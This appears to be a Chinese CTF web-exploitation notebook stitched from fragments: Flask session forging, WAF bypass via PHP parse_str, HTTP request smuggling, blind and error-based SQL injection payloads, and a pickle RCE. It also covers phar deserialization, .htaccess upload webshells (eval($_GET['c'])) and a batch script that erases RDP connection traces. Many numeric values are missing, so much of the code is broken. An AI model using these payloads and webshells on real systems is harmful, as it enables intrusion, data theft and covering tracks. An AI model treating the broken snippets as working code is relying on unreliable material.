flask是一个python轻量级web框架,他的session存储在客户端的cookie字段中,seesion通过序列化对键以及键值进行进行序列化,通过hmacsha1进行签名,最终生成一串字符 流程为:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
https://github.com/noraj/flask-session-cookie-manager
C:\Users\\Desktop\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager2.py decode -s "ckj123" -c ".eJw9kMGKwkAMhl9lybmHVuql4GFhWqmQGZTUYeZSXK3tdDpdqEprxXff0QUPSQj58_EnDyjPQ3VpILkOtyqA0pwgecDXDyQgJO9wLpaabKxZ12raOKTO8nbvI7-rWUVCbkNkNlQSR82OC04ny8mGfI0xyr0VUhsld8ZXq1w-4nxc4qzufL0z2NYjtulC0PeElE8o_Q5LIy69gorJc2LlighpZzRLl6qtQ06dEZTGwusEOzWCXj7SFTwDOF6Gc3n9tVX_OYGvM6PI22q1FdQ5wYpIuZflrONs74RHI9tY33tU1qDTDsfVG2fcoa4-JAzzRVH_T_qD8wM4H_p6bnyCAG6Xanj_DqIQnn8t3m5E.XfEXTg.pWVEVB17W73gRyUggkDVh9leNqQ"
{u'csrf_token': '4aba7666d99f855bd401e45f94b02d01a91a2ff3', u'user_id': u'10', u'name': u'fangzhang', u'image': '3B6R', u'_fresh': True, u'_id': '9ce359e98d9ce2f19d65d622c659d4094ac0d7657d5944c81ed9fbadb9fdbb03793624db2802169011211c80155c3a51598be514bd19b8459b91881587a922c1'}
C:\Users\\Desktop\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager2.py encode -s "ckj123" -t "{u'csrf_token': '4aba7666d99f855bd401e45f94b02d01a91a2ff3', u'user_id': u'10', u'name': u'admin', u'image': '3B6R', u'_fresh': True, u'_id': '9ce359e98d9ce2f19d65d622c659d4094ac0d7657d5944c81ed9fbadb9fdbb03793624db2802169011211c80155c3a51598be514bd19b8459b91881587a922c1'}"
.eJw9kEGLwjAQhf_KMuceWqkXwcNCWqkwCcq0IblI19aapnGhVVor_veNLngYhuG9-XgzDzic-no4w-ra3-oADqaC1QO-fmAFQvIO53ypycaada2mrUPqLG8LX9ldzSoSchcis6GSOGp2XHCqLCcb8g3GKAsrpDZK7o3vVrlsxPm4xFnd-WZvsG1GbJOFoO8JKZtQ-h2WRFx6B-WT58TK5RHS3miWLFXbhJw6IyiJhfcJVp0FvXIka3gGcBz60-H6a-vL5wS-SY0iH6vVVlDnBMsj5V6R046zwgmPRra1fvao9IxOOxzXb5xxZVN_SBhmi7z5Vy6l8wKUlTMXCOA21P37bxCF8PwDbhNsmQ.XfEXzg.sj9RslBEFtWYKn77L3u_jfiSgok
https://blog.csdn.net/weixin_44677409/article/details/100733581
https://www.cnblogs.com/apossin/p/10083937.html
https://www.leavesongs.com/PENETRATION/client-session-security.html
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=;$i<=;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :)
like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep();
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
运行的结果如下:
{chr}foo_bar -> 20 ( )
{chr}foo_bar -> 26 (&)
{chr}foo_bar -> 2b (+)
foo{chr}bar -> 20 ( )
foo{chr}bar -> 2b (+)
foo{chr}bar -> 2e (.)
foo{chr}bar -> 5b ([)
foo{chr}bar -> 5f (_)
foo_bar{chr} -> 00 ( )
foo_bar{chr} -> 26 (&)
foo_bar{chr} -> 3d (=)
这就意味着,如果再请求的开头加上“ ”,“&”,“+” ,或者中间加上“ ”,“+”,“.”,"[","_",或者在变量之后加上“ ”,“&”,“=”,等字符,经过处理之后,变量还是那个变量,利用这个特性,可以绕过很多的waf。
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc
<?php
error_reporting();
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
除了题目本身代码上的过滤以外,还部署了一个waf,这个waf规定了num变量只能是数字,根据php如上字符串解析的特性,可以进行绕过。
payload
/calc.php?%bnum=;var_dump(file_get_contents(chr().chr().chr().chr().chr().chr()))
绕waf的函数汇总如下:
base_convert()
dechex()
hex2bin()
chr()
这题还可以按照HTTP请求走私的方式来做
这个题目还不算是很典型,我的理解就是,只要前端发的包出错,没有出发前端的那个过滤机制,就会直接把包转给后端,这样一来,我们需要执行的代码也就被执行了,造成了请求走私。
CLCL
RFC7230
在
RFC7230
的第3.3.3
节中的第四条中,规定当服务器收到的请求中包含两个Content-Length
,而且两者的值不同时,需要返回400错误。
RFC2616规范
如果收到同时存在
Content-Length
和Transfer-Encoding
这两个请求头的请求包时,在处理的时候必须忽略Content-Length
。
发松类似如下的包:
POST /calc.php?num=phpinfo() HTTP/1.1
Host: 910-00208143-e8c1-4de2-90a4-82e4c033491anode3.buuoj.cn:27457
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 12
Content-Length: 12
num=2
这样会导致前端的服务器也就是waf产生400错误,从而将整个数据包直接丢到后端,也就是那段代码中,然后直接绕后端的waf从而无视前端的waf就好了
如下的数据也行:
POST /calc.php?num=phpinfo() HTTP/1.1
Host: 910-00208143-e8c1-4de2-90a4-82e4c033491anode3.buuoj.cn:27457
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 19
Transfer-Encoding: chunked
num=2
0
0
https://www.freebuf.com/articles/web/213359.html
https://xz.aliyun.com/t/6654#toc-4
import requests
import time
# url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(,):
l =
r =
mid = (l+r)>>
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+
else:
r = mid
mid = (l+r)>>
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
简单理解一下md5 hash长度扩展攻击
已知以下三点
我们可以在不知道salt的具体内容的情况下,计算出任意的md5(salt+message+padding+append)值
以上就是对MD5长度扩展攻击的描述。
hashpump
Input Signature: dd2d2a0bcc512779df24d91b09 #md5(salt+message)
Input Data: message
Input Key Length: len(salt+message)
Input Data to Add: append
cb82018141faa28025d038dc58bf00ad #md5(salt+message+padding+append)
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read #padding
#!/usr/bin/python
# -*- coding:utf-8 -*-
import hashpumpy
result = hashpumpy.hashpump(md5(salt+message), message, append, len(salt+message))
md5(salt+message+padding+append) = result[0]
padding = result[1]
一般都是: (select `2` from (select ,, union select * from table_name)a) //前提是要知道表名
((select c from (select ,, c union select * from users)b)) ,,是因为users表有三列,实际情况还需要猜测表的列的数量
1、通过floor报错,注入语句如下:
and select from (select count(),concat(version(),floor(rand()))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit )));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),))
、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,))a join (select name_const(@@version,))b)c)
、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user() ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user() )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
mysql 注入过程
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),)
链接用户:?id= and updatexml(,concat(0x7e,(SELECT user()),0x7e),)
链接数据库:?id= and updatexml(,concat(0x7e,(SELECT database()),0x7e),)
geek
爆库:?id= and updatexml(,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM geek limit ,),0x7e),)
爆表:?id= and updatexml(,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit ,),0x7e),)
爆字段:?id= and updatexml(,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit ,),0x7e),)
爆字段内容:?id= and updatexml(,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit ,),0x7e),)
常用的万能username语句:
a ’ or = #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or = or if(=, sleep(), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,,))) = or if(=, sleep(), null) #
uname=admin%df'or()or%200%23&passwd=&submit=Submit
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
?file=php://filter/convert.base64-encode/resource=index.php
私有变量
O:4:"Name":2:{s::"%00Name%00username";s::"admin";s::"%00Name%00password";i:;}
保护变量
O:4:"Name":2:{s::"%00*%00username";s::"admin";s::"%00*%00password";i:;}
共有变量
O:5:"Name3":2:{s::"username";s::"admin";s::"password";i:;}
作用: 与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。 绕过: 当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
a=pickle.dumps(payload())
# print a
print(urllib.quote(a))
过滤config
{{ url_for.__globals__['current_app'].config }}
SQl注入漏洞产生的原因
SQl注入分类
MySQL
information_schema
.schemata (绕关键字/空白)information_schema
.schematahttps://www.freebuf.com/articles/web/162445.html
https://xz.aliyun.com/t/6911#toc-12
https://www.anquanke.com/post/id/162891
chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
base64 加密
import requests
import base64
url = url
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
import requests
import base64
url = "http://dad977e1-cec1-4c3b-b45d-377ec197e04c.node3.buuoj.cn//?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
# shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+b"<script language='php'>eval($_POST[c]);</script>"
files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin
# Will prove the file is a legit xbitmap file and the size is 1337x1337
#SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(SIZE_HEADER)
phpfile.write(script.encode('utf-16be'))
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .ppp\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("webshell.ppp", "<?php eval($_GET['cmd']); die(); ?>")
import requests
import base64
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"
研究:
1、mstsc 连接记录保存在注册表中 包括ip/域名和用户名 证书hash
2、最后一次连接记录及配置信心保存在 Default.rdp 中
3、清理思路一:直接删除对应位置的注册表项及文件即可
4、清理思路二:连接前 先备份原注册表及文件 工作完成后 进行覆盖 好处是原有记录及配置不会被清除
注意:
1、xp和win7 “文档”路径不同
2、俄语和英语文档位置不同(xp)
武器化实现:
rem clear all
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\LocalDevices" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /va /f
(ver | find "5.1") && (del /a /f /q "%USERPROFILE%\My Documents\Default.rdp") || (del /a /f /q "%USERPROFILE%\Documents\Default.rdp")
rem backup
mkdir cache
attrib +h +s cache
reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" cache\Default.reg
reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\LocalDevices" cache\LocalDevices.reg
reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cache\Servers.reg
(ver | find "5.1") && (xcopy /c /q /y /h "%USERPROFILE%\My Documents\Default.rdp" cache\Default.rdp) || (xcopy /c /q /y /h "%USERPROFILE%\Documents\Default.rdp" cache\Default.rdp)
rem restore
reg import cache\Default.reg
reg import cache\LocalDevices.reg
reg import cache\Servers.reg
(ver | find "5.1") && (xcopy /c /q /y /h cache\Default.rdp "%USERPROFILE%\My Documents\Default.rdp") || (xcopy /c /q /y /h cache\Default.rdp "%USERPROFILE%\Documents\Default.rdp")
rmdir /s /q cache
来进行绕过openbase_dir和绕过disable_function
https://xz.aliyun.com/t/5598
https://github.com/team-su/SUCTF-2019/tree/master/Web/easyweb
https://evoa.me/index.php/archives/52/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html